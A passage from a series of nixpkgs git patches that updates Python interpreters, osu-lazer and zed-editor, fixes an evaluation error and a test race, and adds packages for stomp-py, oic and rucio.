     users.users.pdns-recursor = {
       isSystemUser = true;

From e25926ac6780a22bf7514fc524cad6bfbbd597dd Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 8 Jun 2025 01:20:28 +0200
Subject: [PATCH 0705/4511] applyPatches: passthru outputHashAlog
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes evaluation of the find-tarballs.nix script used in the tarballs
mirror pipeline.

```
$ nix-instantiate --eval --json --strict maintainers/scripts/find-tarballs.nix --arg expr 'import maintainers/scripts/all-tarballs.nix' --show-trace
[...]
error:
       … while calling anonymous lambda
         at maintainers/scripts/find-tarballs.nix:3:1:
            2|
            3| {
             | ^
            4|   expr,

       … while evaluating uniqueFiles
         at maintainers/scripts/find-tarballs.nix:105:1:
          104| in
          105| uniqueFiles
             | ^
          106|

       … while calling the 'map' builtin
         at maintainers/scripts/find-tarballs.nix:26:17:
           25|
           26|   uniqueFiles = map (x: x.file) (genericClosure {
             |                 ^
           27|     startSet = map (file: {

       … while calling the 'genericClosure' builtin
         at maintainers/scripts/find-tarballs.nix:26:34:
           25|
           26|   uniqueFiles = map (x: x.file) (genericClosure {
             |                                  ^
           27|     startSet = map (file: {

       … while evaluating type
         at maintainers/scripts/find-tarballs.nix:28:28:
           27|     startSet = map (file: {
           28|       key = with file; (if type == null then "" else type + "+") + hash;
             |                            ^
           29|       inherit file;

       error: attribute 'outputHashAlgo' missing
       at maintainers/scripts/find-tarballs.nix:38:16:
           37|     isPatch = (drv ? postFetch && drv.postFetch != "");
           38|     type = drv.outputHashAlgo;
             |                ^
           39|     name = drv.name;
```

(cherry picked from commit f2aff81018ae4ad8a1e244335db7e77f6f7e8997)
---
 pkgs/build-support/trivial-builders/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/build-support/trivial-builders/default.nix b/pkgs/build-support/trivial-builders/default.nix
index 96cc43157d38..1b9e799551c9 100644
--- a/pkgs/build-support/trivial-builders/default.nix
+++ b/pkgs/build-support/trivial-builders/default.nix
@@ -1034,6 +1034,7 @@ rec {
             "tag"
             "url"
             "outputHash"
+            "outputHashAlgo"
           ] src
         );
       in

From d218ad859829454d4e7d5fe96e75747c04a29e13 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 4 Jun 2025 18:12:00 +0200
Subject: [PATCH 0706/4511] python313: 3.13.3 -> 3.13.4

https://docs.python.org/release/3.13.4/whatsnew/changelog.html

Fixes: CVE-2024-12718, CVE-2025-4138, CVE-2025-4330, CVE-2025-4517
(cherry picked from commit c83cbd4c6f226c7c4d5cc0c98cefafec75c4478f)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 0664cd6e2382..36d5d7a30496 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -80,10 +80,10 @@
       sourceVersion = {
         major = "3";
         minor = "13";
-        patch = "3";
+        patch = "4";
         suffix = "";
       };
-      hash = "sha256-QPhovL3rgUmjFJWAu5v9QHszIc1I8L5jGvlVrJLA4EE=";
+      hash = "sha256-J7FaeXViopcdzj/+MbshYELOC5lbOddozxX3hMx1c2U=";
       inherit passthruFun;
     };
 

From 8480f0f20602358dbcdd3277dbf20ef11416e25f Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 4 Jun 2025 19:24:08 +0200
Subject: [PATCH 0707/4511] python312: 3.12.10 -> 3.12.11

https://docs.python.org/release/3.12.11/whatsnew/changelog.html

Fixes: CVE-2024-12718, CVE-2025-4138, CVE-2025-4330, CVE-2025-4517
(cherry picked from commit 8cbadfa068534bdd8238eea362d2bf0b1d46b7e8)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 36d5d7a30496..cfb9a5d8af18 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -21,10 +21,10 @@
         sourceVersion = {
           major = "3";
           minor = "12";
-          patch = "10";
+          patch = "11";
           suffix = "";
         };
-        hash = "sha256-B6tpdHRZXgbwZkdBfTx/qX3tB6/Bp+RFTFY5kZtG6uo=";
+        hash = "sha256-wwuyS38emhmxG1WlRkNPdOc5u0wnGj46gP9DgNSfets=";
       };
     };
 

From 33cadeb20fa7c0611b01a25886e9613a1e8a8733 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 4 Jun 2025 19:25:43 +0200
Subject: [PATCH 0708/4511] python311: 3.11.12 -> 3.11.13

https://docs.python.org/release/3.11.13/whatsnew/changelog.html

Fixes: CVE=2024-12718, CVE-2025-4138, CVE-2025-4330, CVE-2025-4517
(cherry picked from commit 3fffba538ec482f41a33164d5ad33833974b7b07)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index cfb9a5d8af18..06539a578951 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -60,10 +60,10 @@
       sourceVersion = {
         major = "3";
         minor = "11";
-        patch = "12";
+        patch = "13";
         suffix = "";
       };
-      hash = "sha256-hJ2oevTfE3cQwXluJ2qVX3qFyflxCBBnyPVl0Vw1Kgk=";
+      hash = "sha256-j7X5+8dgn6giyzFUmIRXXbf9llfL/7iVELXXl1ljqDo=";
       inherit passthruFun;
     };
 

From 4668eb7c394eb72b90737255012c65635d2a3662 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 4 Jun 2025 19:26:07 +0200
Subject: [PATCH 0709/4511] python310: 3.10.17 -> 3.10.18

https://docs.python.org/release/3.10.18/whatsnew/changelog.html

Fixes: CVE=2024-12718, CVE-2025-4138, CVE-2025-4330, CVE-2025-4517
(cherry picked from commit 05ed4c65947bc25844699e5cf7f2d0f9b285220c)
---
 pkgs/development/interpreters/python/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix
index 06539a578951..c4e40d499279 100644
--- a/pkgs/development/interpreters/python/default.nix
+++ b/pkgs/development/interpreters/python/default.nix
@@ -48,10 +48,10 @@
       sourceVersion = {
         major = "3";
         minor = "10";
-        patch = "17";
+        patch = "18";
         suffix = "";
       };
-      hash = "sha256-TGgFDwSdG0rFqt0N9fJ5QcA1DSqeerCQfuXrUiXZ1rA=";
+      hash = "sha256-rmZbxnir2atqbhVz0kgWJaU3GbxRfppjTtK5/vrjgX8=";
       inherit passthruFun;
     };
 

From 6ab9284719364a380aed14c0d31ddab94bd7d497 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 5 Jun 2025 15:37:37 +0000
Subject: [PATCH 0710/4511] osu-lazer-bin: 2025.424.0 -> 2025.605.3

(cherry picked from commit 027e00a5ae15d76e44fb8607e28edaafab505105)
---
 pkgs/by-name/os/osu-lazer-bin/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/package.nix b/pkgs/by-name/os/osu-lazer-bin/package.nix
index ff542b27c083..c1a2302b59f3 100644
--- a/pkgs/by-name/os/osu-lazer-bin/package.nix
+++ b/pkgs/by-name/os/osu-lazer-bin/package.nix
@@ -10,23 +10,23 @@
 
 let
   pname = "osu-lazer-bin";
-  version = "2025.424.0";
+  version = "2025.605.3";
 
   src =
     {
       aarch64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Apple.Silicon.zip";
-        hash = "sha256-fgG3SnltGxOYHwos8BTngaW4YrRdpOdURxd73sz0t7o=";
+        hash = "sha256-TN0TnwY4lXsKHeCYBKmYSenuBZIt0n0bbEw1BVWwDZc=";
         stripRoot = false;
       };
       x86_64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Intel.zip";
-        hash = "sha256-0K+uAH4f8JOfzG4J37aGaStpEkH5tdUfHEqsogMtN2I=";
+        hash = "sha256-vFqow+G8Ebzgnau9c6TYit7SKDMIeJJOKI0DXAevBXY=";
         stripRoot = false;
       };
       x86_64-linux = fetchurl {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.AppImage";
-        hash = "sha256-8nOoSkNbzEFpDj0FivCYI20tZzT02YHcKZblfEfh+Zo=";
+        hash = "sha256-k09fyaSfGZgC7VoDp68+xb5wxiXGQllXKqCpz+7k0So=";
       };
     }
     .${stdenvNoCC.system} or (throw "osu-lazer-bin: ${stdenvNoCC.system} is unsupported.");

From 6fc6ad5fd424e7f11995316e30838961d5162bab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gutyina=20Gerg=C5=91?= <gutyina.gergo.2@gmail.com>
Date: Thu, 5 Jun 2025 15:38:21 +0000
Subject: [PATCH 0711/4511] osu-lazer: 2025.424.0 -> 2025.605.3

(cherry picked from commit b4b768e44e9d7aa1024614ec0f3835469a48c4a0)
---
 pkgs/by-name/os/osu-lazer/deps.json   | 8 ++++----
 pkgs/by-name/os/osu-lazer/package.nix | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer/deps.json b/pkgs/by-name/os/osu-lazer/deps.json
index 18dd9bca29e3..b78a98c0bd35 100644
--- a/pkgs/by-name/os/osu-lazer/deps.json
+++ b/pkgs/by-name/os/osu-lazer/deps.json
@@ -651,8 +651,8 @@
   },
   {
     "pname": "ppy.osu.Framework",
-    "version": "2025.419.0",
-    "hash": "sha256-fsuEdzD4pzBID7I7DNAYs4JGrCkm/ALtZkEu5/QgKVQ="
+    "version": "2025.604.1",
+    "hash": "sha256-TnxNneBVR6YYuaUbU1sHewwVzy15qmCpudSopHol1tM="
   },
   {
     "pname": "ppy.osu.Framework.NativeLibs",
@@ -666,8 +666,8 @@
   },
   {
     "pname": "ppy.osu.Game.Resources",
-    "version": "2025.321.0",
-    "hash": "sha256-vjNwUVBSOrWEc8z8QXD+CPSZMj9BCKuKIQZXxqaXldc="
+    "version": "2025.605.0",
+    "hash": "sha256-t9uNvlimF81LNECTBnhLidSmN8cOXi3Sn0rqI3na3zQ="
   },
   {
     "pname": "ppy.osuTK.NS20",
diff --git a/pkgs/by-name/os/osu-lazer/package.nix b/pkgs/by-name/os/osu-lazer/package.nix
index f24e49e6ca3e..49bff7b68c97 100644
--- a/pkgs/by-name/os/osu-lazer/package.nix
+++ b/pkgs/by-name/os/osu-lazer/package.nix
@@ -22,13 +22,13 @@
 
 buildDotnetModule rec {
   pname = "osu-lazer";
-  version = "2025.424.0";
+  version = "2025.605.3";
 
   src = fetchFromGitHub {
     owner = "ppy";
     repo = "osu";
     tag = version;
-    hash = "sha256-+r7YeaNrUkoYoMzGqhqT+bqdO1UohvJRlAcAskF7vn4=";
+    hash = "sha256-hzD2OX+bnJ4cvq09wXQ1rINZ3DI97BwSrZ/yxyjWKoM=";
   };
 
   projectFile = "osu.Desktop/osu.Desktop.csproj";

From b7bda8910fb7c4c5b6eb16d8b27a24b673f9c5a2 Mon Sep 17 00:00:00 2001
From: vys <hey@vyslix.dev>
Date: Fri, 6 Jun 2025 17:54:34 -0400
Subject: [PATCH 0712/4511] osu-lazer{,-bin}: 2025.605.3 -> 2025.607.0

osu-lazer: 2025.605.3 -> 2025.607.0

osu-lazer-bin: 2025.605.3 -> 2025.607.0

chore: formatted files

fixed review conflicts

(cherry picked from commit 6686a3e463cf1615d8ea6d6560b69b6509594684)
---
 pkgs/by-name/os/osu-lazer-bin/package.nix | 8 ++++----
 pkgs/by-name/os/osu-lazer/package.nix     | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/os/osu-lazer-bin/package.nix b/pkgs/by-name/os/osu-lazer-bin/package.nix
index c1a2302b59f3..8de4bd8475d9 100644
--- a/pkgs/by-name/os/osu-lazer-bin/package.nix
+++ b/pkgs/by-name/os/osu-lazer-bin/package.nix
@@ -10,23 +10,23 @@
 
 let
   pname = "osu-lazer-bin";
-  version = "2025.605.3";
+  version = "2025.607.0";
 
   src =
     {
       aarch64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Apple.Silicon.zip";
-        hash = "sha256-TN0TnwY4lXsKHeCYBKmYSenuBZIt0n0bbEw1BVWwDZc=";
+        hash = "sha256-rfWP6vF68mE+pnKvJjSgkxzTBj3sWDRlB9NZZkPOYOE=";
         stripRoot = false;
       };
       x86_64-darwin = fetchzip {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.app.Intel.zip";
-        hash = "sha256-vFqow+G8Ebzgnau9c6TYit7SKDMIeJJOKI0DXAevBXY=";
+        hash = "sha256-FpMugHVyhpyzCRp+EH/RSQDsgoUEQrAuIVCaMTucz88=";
         stripRoot = false;
       };
       x86_64-linux = fetchurl {
         url = "https://github.com/ppy/osu/releases/download/${version}/osu.AppImage";
-        hash = "sha256-k09fyaSfGZgC7VoDp68+xb5wxiXGQllXKqCpz+7k0So=";
+        hash = "sha256-jG3KedllnVNd5TLSkKYae2V8CzN90g5lJhT4EKI+nuk=";
       };
     }
     .${stdenvNoCC.system} or (throw "osu-lazer-bin: ${stdenvNoCC.system} is unsupported.");
diff --git a/pkgs/by-name/os/osu-lazer/package.nix b/pkgs/by-name/os/osu-lazer/package.nix
index 49bff7b68c97..057b16df671e 100644
--- a/pkgs/by-name/os/osu-lazer/package.nix
+++ b/pkgs/by-name/os/osu-lazer/package.nix
@@ -22,13 +22,13 @@
 
 buildDotnetModule rec {
   pname = "osu-lazer";
-  version = "2025.605.3";
+  version = "2025.607.0";
 
   src = fetchFromGitHub {
     owner = "ppy";
     repo = "osu";
     tag = version;
-    hash = "sha256-hzD2OX+bnJ4cvq09wXQ1rINZ3DI97BwSrZ/yxyjWKoM=";
+    hash = "sha256-qAKtINbWbC76a4vhEFIE6WnEtn/0brcIPp5WXBGQoEI=";
   };
 
   projectFile = "osu.Desktop/osu.Desktop.csproj";

From b4f21322d7822989d91df85b6495d7a07ea00abe Mon Sep 17 00:00:00 2001
From: Markus Wamser <github-dev@mail2013.wamser.eu>
Date: Sun, 1 Jun 2025 15:52:47 +0200
Subject: [PATCH 0713/4511] nixosTests.ngingx-http3: fix race condition

make the client wait for its network to come up before starting test

without the wait, the client might try to access the network before its
own network stack is up, as evidenced in
https://hydra.nixos.org/build/299048133/nixlog/9/tail

(cherry picked from commit 962db8079611bf6c3282197436b37af3ddbb4718)
---
 nixos/tests/nginx-http3.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/tests/nginx-http3.nix b/nixos/tests/nginx-http3.nix
index 1d6cd56294be..1c0326d0f0f6 100644
--- a/nixos/tests/nginx-http3.nix
+++ b/nixos/tests/nginx-http3.nix
@@ -90,6 +90,7 @@ builtins.listToAttrs (
 
           server.wait_for_unit("nginx")
           server.wait_for_open_port(443)
+          client.wait_for_unit("network-online.target")
 
           # Check http connections
           client.succeed("curl --verbose --http3-only https://acme.test | grep 'Hello World!'")

From b64d9515bf36847cde675ca9a60fdd6a1a74747f Mon Sep 17 00:00:00 2001
From: Dmitry Kalinkin <dmitry.kalinkin@gmail.com>
Date: Fri, 23 May 2025 22:28:52 -0400
Subject: [PATCH 0714/4511] python313Packages.stomp-py: init at 8.2.0

(cherry picked from commit b2a979a4b468139f3cf102d9d83dc5bed91620d7)
---
 .../python-modules/stomp-py/default.nix       | 54 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 56 insertions(+)
 create mode 100644 pkgs/development/python-modules/stomp-py/default.nix

diff --git a/pkgs/development/python-modules/stomp-py/default.nix b/pkgs/development/python-modules/stomp-py/default.nix
new file mode 100644
index 000000000000..27c5a1639933
--- /dev/null
+++ b/pkgs/development/python-modules/stomp-py/default.nix
@@ -0,0 +1,54 @@
+{
+  lib,
+  stdenv,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # build-system
+  poetry-core,
+
+  # dependencies
+  docopt,
+  websocket-client,
+
+  # tests
+  pytestCheckHook,
+}:
+
+buildPythonPackage rec {
+  pname = "stomp-py";
+  version = "8.2.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "jasonrbriggs";
+    repo = "stomp.py";
+    tag = "v${version}";
+    hash = "sha256-UkNmE0+G9d3k1OhkNl98Jy5sP6MAywynzBmBtK9mZ90=";
+  };
+
+  build-system = [
+    poetry-core
+  ];
+
+  dependencies = [
+    docopt
+    websocket-client
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+  ];
+
+  doCheck = false; # needs external services setup
+
+  pythonImportsCheck = [ "stomp" ];
+
+  meta = {
+    description = "Client library for accessing messaging servers (such as ActiveMQ or RabbitMQ) using the STOMP protocol";
+    homepage = "https://github.com/jasonrbriggs/stomp.py";
+    changelog = "https://github.com/jasonrbriggs/stomp.py/releases/tag/${version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ veprbl ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 17e5b711c8c6..a4b373b179da 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -16760,6 +16760,8 @@ self: super: with self; {
 
   stm32loader = callPackage ../development/python-modules/stm32loader { };
 
+  stomp-py = callPackage ../development/python-modules/stomp-py { };
+
   stone = callPackage ../development/python-modules/stone { };
 
   stookalert = callPackage ../development/python-modules/stookalert { };

From dd2ab14a80b5f592e69c5fff4f0bd480c983e681 Mon Sep 17 00:00:00 2001
From: Dmitry Kalinkin <dmitry.kalinkin@gmail.com>
Date: Fri, 23 May 2025 22:29:23 -0400
Subject: [PATCH 0715/4511] python312Packages.oic: init at 1.7.0

(cherry picked from commit edf597637797d5af079dde91ae8c0a917d0dea97)
---
 .../python-modules/oic/default.nix            | 68 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 70 insertions(+)
 create mode 100644 pkgs/development/python-modules/oic/default.nix

diff --git a/pkgs/development/python-modules/oic/default.nix b/pkgs/development/python-modules/oic/default.nix
new file mode 100644
index 000000000000..3d222a196417
--- /dev/null
+++ b/pkgs/development/python-modules/oic/default.nix
@@ -0,0 +1,68 @@
+{
+  lib,
+  stdenv,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # build-system
+  setuptools,
+
+  # dependencies
+  requests,
+  pycryptodomex,
+  pydantic-settings,
+  pyjwkest,
+  mako,
+  cryptography,
+  defusedxml,
+
+  # tests
+  pytestCheckHook,
+  freezegun,
+  responses,
+  testfixtures,
+}:
+
+buildPythonPackage rec {
+  pname = "oic";
+  version = "1.7.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "CZ-NIC";
+    repo = "pyoidc";
+    tag = version;
+    hash = "sha256-7qEK1HWLEGCKu+gDAfbyT1a+sM9fVOfjtkqZ33GWv6U=";
+  };
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    requests
+    pycryptodomex
+    pydantic-settings
+    pyjwkest
+    mako
+    cryptography
+    defusedxml
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+    freezegun
+    responses
+    testfixtures
+  ];
+
+  pythonImportsCheck = [ "oic" ];
+
+  meta = {
+    description = "OpenID Connect implementation in Python";
+    homepage = "https://github.com/CZ-NIC/pyoidc";
+    changelog = "https://github.com/CZ-NIC/pyoidc/releases/tag/${version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ veprbl ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index a4b373b179da..b09bb30ad54c 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -10264,6 +10264,8 @@ self: super: with self; {
 
   ohme = callPackage ../development/python-modules/ohme { };
 
+  oic = callPackage ../development/python-modules/oic { };
+
   okonomiyaki = callPackage ../development/python-modules/okonomiyaki { };
 
   okta = callPackage ../development/python-modules/okta { };

From 7e576d53b43a66b11108b940f791be1073b8a500 Mon Sep 17 00:00:00 2001
From: Dmitry Kalinkin <dmitry.kalinkin@gmail.com>
Date: Fri, 23 May 2025 22:36:32 -0400
Subject: [PATCH 0716/4511] python313Python.gfal2-python: 1.12.2 -> 1.13.0,
 unbroken

(cherry picked from commit f05a1313c81dd01c14af9504a19cd51778b811db)
---
 pkgs/development/python-modules/gfal2-python/default.nix | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/gfal2-python/default.nix b/pkgs/development/python-modules/gfal2-python/default.nix
index 52cb5ad1b227..03cd735683ca 100644
--- a/pkgs/development/python-modules/gfal2-python/default.nix
+++ b/pkgs/development/python-modules/gfal2-python/default.nix
@@ -13,12 +13,12 @@
 }:
 buildPythonPackage rec {
   pname = "gfal2-python";
-  version = "1.12.2";
+  version = "1.13.0";
   src = fetchFromGitHub {
     owner = "cern-fts";
     repo = "gfal2-python";
     rev = "v${version}";
-    hash = "sha256-Xk+gLTrqfWb0kGB6QhnM62zAHVFb8rRAqCIBxn0V824=";
+    hash = "sha256-TF8EwT1UEtB9lhfq8Jkn9rrSkSxMSLzuAywfB23K1kE=";
   };
   nativeBuildInputs = [
     cmake
@@ -44,8 +44,5 @@ buildPythonPackage rec {
     homepage = "https://github.com/cern-fts/gfal2-python";
     license = licenses.asl20;
     maintainers = with maintainers; [ ShamrockLee ];
-    # It currently fails to build against Python 3.12 or later,
-    # complaining CMake faililng to find Python include path, library path and site package path.
-    broken = pythonAtLeast "3.12";
   };
 }

From ab4ea4cad2da82e86b2fab4ff013d6f878a4ca24 Mon Sep 17 00:00:00 2001
From: Dmitry Kalinkin <dmitry.kalinkin@gmail.com>
Date: Fri, 23 May 2025 22:29:53 -0400
Subject: [PATCH 0717/4511] python312Packages.rucio: init at 32.8.6

(cherry picked from commit acab3b9488254a7cefda9f501731eacd248bdcba)
---
 .../python-modules/rucio/default.nix          | 114 ++++++++++++++++++
 pkgs/top-level/python-packages.nix            |   2 +
 2 files changed, 116 insertions(+)
 create mode 100644 pkgs/development/python-modules/rucio/default.nix

diff --git a/pkgs/development/python-modules/rucio/default.nix b/pkgs/development/python-modules/rucio/default.nix
new file mode 100644
index 000000000000..15ffb3309b94
--- /dev/null
+++ b/pkgs/development/python-modules/rucio/default.nix
@@ -0,0 +1,114 @@
+{
+  lib,
+  stdenv,
+  buildPythonPackage,
+  fetchFromGitHub,
+
+  # build-system
+  setuptools,
+
+  # dependencies
+  alembic,
+  argcomplete,
+  boto3,
+  dogpile-cache,
+  flask,
+  geoip2,
+  gfal2-python,
+  google-auth,
+  jsonschema,
+  oic,
+  paramiko,
+  prometheus-client,
+  pymemcache,
+  python-dateutil,
+  python-magic,
+  redis,
+  requests,
+  sqlalchemy,
+  statsd,
+  stomp-py,
+  tabulate,
+  urllib3,
+
+  # tests
+  pytestCheckHook,
+}:
+
+buildPythonPackage rec {
+  pname = "rucio";
+  version = "32.8.6";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "rucio";
+    repo = "rucio";
+    tag = version;
+    hash = "sha256-VQQ4gy9occism1WDrlcHnB7b7D5/G68wKct2PhD59FA=";
+  };
+
+  pythonRelaxDeps = [
+    "alembic"
+    "argcomplete"
+    "boto3"
+    "dogpile.cache"
+    "flask"
+    "geoip2"
+    "google-auth"
+    "jsonschema"
+    "oic"
+    "paramiko"
+    "prometheus_client"
+    "python-dateutil"
+    "redis"
+    "requests"
+    "sqlalchemy"
+    "stomp.py"
+    "urllib3"
+  ];
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    alembic
+    argcomplete
+    boto3
+    dogpile-cache
+    flask
+    geoip2
+    gfal2-python # needed for rucio download
+    google-auth
+    jsonschema
+    oic
+    paramiko
+    prometheus-client
+    pymemcache
+    python-dateutil
+    python-magic
+    redis
+    requests
+    sqlalchemy
+    statsd
+    stomp-py
+    tabulate
+    urllib3
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+  ];
+
+  doCheck = false; # needs a rucio.cfg
+
+  pythonImportsCheck = [ "rucio" ];
+
+  meta = {
+    description = "Tool for Scientific Data Management";
+    homepage = "http://rucio.cern.ch/";
+    changelog = "https://github.com/rucio/rucio/releases/tag/${version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ veprbl ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index b09bb30ad54c..686dd2ce6c5f 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -15413,6 +15413,8 @@ self: super: with self; {
 
   rubymarshal = callPackage ../development/python-modules/rubymarshal { };
 
+  rucio = callPackage ../development/python-modules/rucio { };
+
   ruff = callPackage ../development/python-modules/ruff { inherit (pkgs) ruff; };
 
   ruff-api = callPackage ../development/python-modules/ruff-api { };

From 81e224022cc0f124b1d927487e4a853222cfdcb4 Mon Sep 17 00:00:00 2001
From: Dmitry Kalinkin <dmitry.kalinkin@gmail.com>
Date: Wed, 4 Jun 2025 15:17:24 -0400
Subject: [PATCH 0718/4511] rucio: init at 32.8.6

(cherry picked from commit ff8ec41663b6e65609698e79f7575630a1435ae4)
---
 pkgs/by-name/ru/rucio/package.nix | 5 +++++
 pkgs/top-level/all-packages.nix   | 6 ++++++
 2 files changed, 11 insertions(+)
 create mode 100644 pkgs/by-name/ru/rucio/package.nix

diff --git a/pkgs/by-name/ru/rucio/package.nix b/pkgs/by-name/ru/rucio/package.nix
new file mode 100644
index 000000000000..c50e22324b5c
--- /dev/null
+++ b/pkgs/by-name/ru/rucio/package.nix
@@ -0,0 +1,5 @@
+{ python3Packages }:
+
+with python3Packages;
+
+toPythonApplication rucio
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index d50cbd1d4361..15f5f04378e3 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -4378,6 +4378,12 @@ with pkgs;
     pythonPackages = python3Packages;
   };
 
+  rucio = callPackage ../by-name/ru/rucio/package.nix {
+    # Pinned to python 3.12 while python313Packages.future does not evaluate and
+    # until https://github.com/CZ-NIC/pyoidc/issues/649 is resolved
+    python3Packages = python312Packages;
+  };
+
   rubocop = rubyPackages.rubocop;
 
   ruby-lsp = rubyPackages.ruby-lsp;

From f78de8559bc2630627a60816fcd8cff77f1de107 Mon Sep 17 00:00:00 2001
From: Tom van Dijk <18gatenmaker6@gmail.com>
Date: Fri, 16 May 2025 20:49:57 +0200
Subject: [PATCH 0719/4511] zed-editor: 0.186.8 -> 0.186.9

(cherry picked from commit 4c417b6be1ecd9eee7eca22cbef2ed6626ff0f4a)
---
 pkgs/by-name/ze/zed-editor/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 3009a0529cf1..5417fbc18484 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -99,7 +99,7 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
-  version = "0.186.8";
+  version = "0.186.9";
 
   outputs =
     [ "out" ]
@@ -111,7 +111,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "zed-industries";
     repo = "zed";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-oSmwEtF8VWSKcBlL11MMThBAJFisXwWQjZAzcNIptt0=";
+    hash = "sha256-z3QHD1EfJfhgLZwUv805RHCEKiBm1wCpJG1GAS9OJgE=";
   };
 
   patches = [
@@ -138,7 +138,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-WH6cQa6DChkUtqh+irIz2hJd5/RW/oln+TZPHunEmNk=";
+  cargoHash = "sha256-qGHUO25a2288hp4+DcQJabauOVGYn7CXtDqWGB6diO8=";
 
   nativeBuildInputs =
     [

From 4823bfd55309287758e8c64810f5ba70e264e454 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 21 May 2025 22:32:12 +0200
Subject: [PATCH 0720/4511] zed-editor: 0.186.9 -> 0.187.6

Diff: https://github.com/zed-industries/zed/compare/v0.186.9...v0.187.6

Changelog: https://github.com/zed-industries/zed/releases/tag/v0.187.6
(cherry picked from commit a91b85443ca96a1a0be3c76eda7c940e4454feee)
---
 pkgs/by-name/ze/zed-editor/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zed-editor/package.nix b/pkgs/by-name/ze/zed-editor/package.nix
index 5417fbc18484..71171c8a6106 100644
--- a/pkgs/by-name/ze/zed-editor/package.nix
+++ b/pkgs/by-name/ze/zed-editor/package.nix
@@ -99,7 +99,7 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "zed-editor";
-  version = "0.186.9";
+  version = "0.187.6";
 
   outputs =
     [ "out" ]
